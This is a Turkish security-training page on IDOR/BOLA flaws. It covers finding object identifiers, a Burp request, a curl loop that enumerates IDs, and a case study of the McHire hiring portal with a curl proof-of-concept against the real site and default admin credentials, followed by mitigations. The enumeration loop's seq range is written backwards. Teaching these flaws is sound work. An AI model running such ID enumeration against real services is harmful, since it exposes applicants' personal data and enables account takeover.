# IDOR (Güvensiz Doğrudan Nesne Referansı) {{#include ../banners/hacktricks-training.md}} IDOR (Güvensiz Doğrudan Nesne Referansı) / Bozuk Nesne Seviyesi Yetkilendirme (BOLA), bir web veya API uç noktasının, **doğrudan** erişim sağlamak için kullanılan ve kullanıcı tarafından kontrol edilebilen bir tanımlayıcıyı ifşa etmesi veya kabul etmesi durumunda ortaya çıkar; **çağrının bu nesneye erişim/değişiklik yapma yetkisini doğrulamadan**. Başarılı bir istismar genellikle diğer kullanıcıların verilerini okuma veya değiştirme gibi yatay veya dikey ayrıcalık yükseltmelerine izin verir ve en kötü durumda, tam hesap ele geçirme veya kitlesel veri sızdırma ile sonuçlanabilir. --- ## 1. Potansiyel IDOR'ları Belirleme 1. **Bir nesneyi referans alan parametreleri** arayın: * Yol: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000` * Sorgu: `?id=42`, `?invoice=2024-00001` * Gövde / JSON: `{"user_id": 321, "order_id": 987}` * Başlıklar / Çerezler: `X-Client-ID: 4711` 2. **Veri okuma veya güncelleme** yapan uç noktaları tercih edin (`GET`, `PUT`, `PATCH`, `DELETE`). 3. Tanımlayıcıların **sıralı veya tahmin edilebilir** olduğuna dikkat edin – eğer ID'niz `64185742` ise, o zaman `64185741` muhtemelen vardır. 4. Ek API'leri açığa çıkarabilecek gizli veya alternatif akışları keşfedin (örneğin, giriş sayfalarındaki *"Paradox takım üyeleri"* bağlantısı). 5. **Kimlik doğrulaması yapılmış düşük ayrıcalıklı bir oturum** kullanın ve yalnızca ID'yi **aynı token/çerez ile değiştirin**. Yetkilendirme hatasının olmaması genellikle IDOR'un bir işareti olarak kabul edilir. ### Hızlı manuel müdahale (Burp Repeater) ``` PUT /api/lead/cem-xhr HTTP/1.1 Host: www.example.com Cookie: auth=eyJhbGciOiJIUzI1NiJ9... Content-Type: application/json {"lead_id":64185741} ``` ### Otomatik numaralandırma (Burp Intruder / curl döngüsü) ```bash for id in $(seq 64185742 64185700); do curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \ -H 'Content-Type: application/json' \ -H "Cookie: auth=$TOKEN" \ -d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id"; done ``` --- ## 2. Gerçek Dünya Vaka Çalışması – McHire Chatbot Platformu (2025) Paradox.ai destekli **McHire** işe alım portalının bir değerlendirmesi sırasında aşağıdaki IDOR keşfedildi: * Uç Nokta: `PUT /api/lead/cem-xhr` * Yetkilendirme: **herhangi** bir restoran test hesabı için kullanıcı oturum çerezi * Gövde parametresi: `{"lead_id": N}` – 8 haneli, **sıralı** sayısal tanımlayıcı `lead_id` değerini düşürerek, test eden kişi rastgele başvuranların **tam PII** (isim, e-posta, telefon, adres, vardiya tercihleri) bilgilerini ve oturum kaçırmaya izin veren bir tüketici **JWT**'sini elde etti. `1 – 64,185,742` aralığının sayımı yaklaşık **64 milyon** kaydı ortaya çıkardı. Kanıt-of-Kavram isteği: ```bash curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \ -H 'Content-Type: application/json' \ -d '{"lead_id":64185741}' ``` Birleştirildiğinde **varsayılan yönetici kimlik bilgileri** (`123456:123456`) test hesabına erişim sağladı ve bu zafiyet, kritik, şirket genelinde bir veri ihlaline yol açtı. --- ## 3. IDOR / BOLA'nın Etkisi * Yatay yükselme – **diğer kullanıcıların** verilerini okuma/güncelleme/silme. * Dikey yükselme – düşük yetkili bir kullanıcının yalnızca yöneticiye özel işlevsellik kazanması. * Tanımlayıcılar ardışık ise kitlesel veri ihlali (örneğin, başvuru kimlikleri, faturalar). * Diğer kullanıcıların token'larını çalarak veya şifrelerini sıfırlayarak hesap ele geçirme. --- ## 4. Önlemler & En İyi Uygulamalar 1. Her istekte **nesne düzeyinde yetkilendirme** uygulayın (`user_id == session.user`). 2. Otomatik artan kimlikler yerine **dolaylı, tahmin edilemez tanımlayıcılar** (UUIDv4, ULID) tercih edin. 3. Yetkilendirmeyi **sunucu tarafında** gerçekleştirin, asla gizli form alanlarına veya UI kontrollerine güvenmeyin. 4. Merkezi bir ara yazılımda **RBAC / ABAC** kontrolleri uygulayın. 5. ID'lerin sayımını tespit etmek için **oran sınırlama ve günlükleme** ekleyin. 6. Her yeni uç noktayı güvenlik testi yapın (birim, entegrasyon ve DAST). --- ## 5. Araçlar * **BurpSuite uzantıları**: Authorize, Auto Repeater, Turbo Intruder. * **OWASP ZAP**: Auth Matrix, Forced Browse. * **Github projeleri**: `bwapp-idor-scanner`, `Blindy` (toplu IDOR avı). ## Referanslar * [McHire Chatbot Platform: Varsayılan Kimlik Bilgileri ve IDOR 64M Başvuranın Kişisel Bilgilerini Ortaya Çıkarıyor](https://ian.sh/mcdonalds) * [OWASP Top 10 – Kırık Erişim Kontrolü](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) * [Daha Fazla IDOR Nasıl Bulunur – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489) {{#include ../banners/hacktricks-training.md}}